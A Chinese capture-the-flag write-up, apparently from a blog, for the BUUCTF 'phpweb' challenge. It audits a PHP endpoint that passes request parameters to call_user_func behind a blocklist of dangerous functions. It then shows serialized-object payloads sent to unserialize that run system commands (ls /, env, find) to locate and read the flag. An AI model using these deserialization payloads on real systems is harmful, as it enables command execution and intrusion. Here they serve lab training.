BUUCTF_[网鼎杯 2020 朱雀组]phpweb(反序列化绕过命令)

打开靶场,,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看页面源代码,没有什么有用的信息

Burp抓包一下

调用了date()函数并回显在页面上,参数func是函数名,p是参数值

func=date&p=Y-m-d+h%3Ai%3As+a

  • func=date :指定要调用的函数为 date 函数。date 是 PHP 中用于格式化本地日期和时间的内置函数。
  • p=Y-m-d+h%3Ai%3As+a :p 是传递给 date 函数的参数,经过 URL 解码后为 Y-m-d h:i:s a,这是 date 函数使用的日期和时间格式字符串,具体含义如下:
    • Y:表示四位数的年份,例如 2025。
    • m:表示两位数的月份,范围从 01 到 12。
    • d:表示两位数的日期,范围从 01 到 31。
    • h:表示 12 小时制的小时数,范围从 01 到 12。
    • i:表示分钟数,范围从 00 到 59。
    • s:表示秒数,范围从 00 到 59。
    • a:表示上午或下午,值为 am 或 pm。

date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

1.查看是否回显

抓包修改参数,用简单的小写转换函数来验证是否有命令执行,回显为ab

func=strtolower&p=AB

  • func=strtolower :明确要调用的函数为 strtolower。在 PHP 里,strtolower 函数的作用是将字符串中的所有大写字母转换为小写字母。
  • p=AB :这是传递给 strtolower 函数的参数,也就是要进行转换操作的字符串

2.查看根目录,被过滤

用system()函数执行命令

func=system&p=ls

提示 Hacker... 被禁止了

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

3.查看文件内容

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents() highlight_file() show_source()都可以,输入

func=file_get_contents&p=index.php

成功读取了index.php文件源码

php代码审计

复制代码
 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
1. 禁用函数列表
复制代码
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

定义了一个包含众多危险函数的数组 $disable_fun。这些函数可能被用于执行系统命令、读取文件内容、修改文件等操作,为防止恶意调用,将它们列入禁用名单。

2. gettime 函数
复制代码
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}

该函数接收两个参数 $func 和 $p,使用 call_user_func 动态调用 $func 函数并传入参数 $p。之后检查返回结果的类型,若为字符串则返回结果,否则返回空字符串。

3. Test 类
复制代码
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

定义了 Test 类,包含两个属性 $p 和 $func,分别初始化为日期格式字符串和 date 函数名。__destruct 是析构函数,当对象销毁时会调用 gettime 函数输出当前日期和时间。

4. 主逻辑
复制代码
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}

从 HTTP 请求中获取 func 和 p 参数,将 func 转换为小写。若 func 不为空,检查其是否在禁用函数列表中。若不在,则调用 gettime 函数执行该函数并输出结果;若在,则终止脚本并输出 "Hacker..."。

4.在func 和 p 参数内查看根目录

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

  • func=unserialize :指定要调用的函数为 unserialize。unserialize 用于将序列化后的字符串反序列化为 PHP 对象或数组。
  • p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";} :这是传递给 unserialize 函数的参数,是一个序列化后的字符串。具体解析如下:
    • O:4:"Test":表示这是一个类名为 Test 的对象,类名长度为 4。
    • 2:表示该对象有 2 个属性。
    • s:1:"p";s:4:"ls /";:表示属性 p 的值为字符串 "ls /",这是一个 Linux 系统命令,用于列出根目录下的所有文件和文件夹。
    • s:4:"func";s:6:"system";:表示属性 func 的值为字符串 "system",system 是 PHP 中用于执行系统命令的危险函数。

回显了根目录下的文件,但是没有发现flag文件

5.查看一下环境变量env

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

发现not_flag 那么flag应该是藏在某个目录下

6.使用find命令查找flag

构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system"

发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

7.查看该文件,得到flag

func=readfile&p=/tmp/flagoefiu4r93

参考链接:网鼎杯 2020 朱雀组phpweb 详细题解(反序列化绕过命令执行)

相关推荐
三少爷的鞋12 小时前
AI 时代,我们都将成为通才型开发者:只懂 Android,已经不够了
android
Dovis(誓平步青云)16 小时前
家里设备越来越多,如何用一张空间地图控制灯光和温度![
android·java·前端·javascript·人工智能·电脑
晚风叙码18 小时前
MySQL 数据类型详解:从数值到字符串,一篇讲透
android·mysql·adb
传奇开心果编程18 小时前
【Compose Multiplatform 跨端开发学与练】第3课 布局与组件
android·windows·学习·ui·ios·kotlin·composer
传奇开心果编程21 小时前
【Compose Multiplatform 跨端开发学与练】第8课 资源管理与主题
android·windows·学习·ios·kotlin·web·composer
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第9课 测试与调试
android·学习·macos·ios·kotlin·web·composer
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第4课 导航与路由
android·windows·学习·ui·ios·kotlin·composer
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第6课 状态管理与架构
android·学习·ui·ios·架构·kotlin·composer
事圆则缓1 天前
Android AOSP 定制常见概念:源码目录、系统镜像与刷机流程
android
传奇开心果编程1 天前
【Compose Multiplatform 跨端开发学与练】第2课 Compose 基础语法
android·windows·学习·ui·ios·kotlin·composer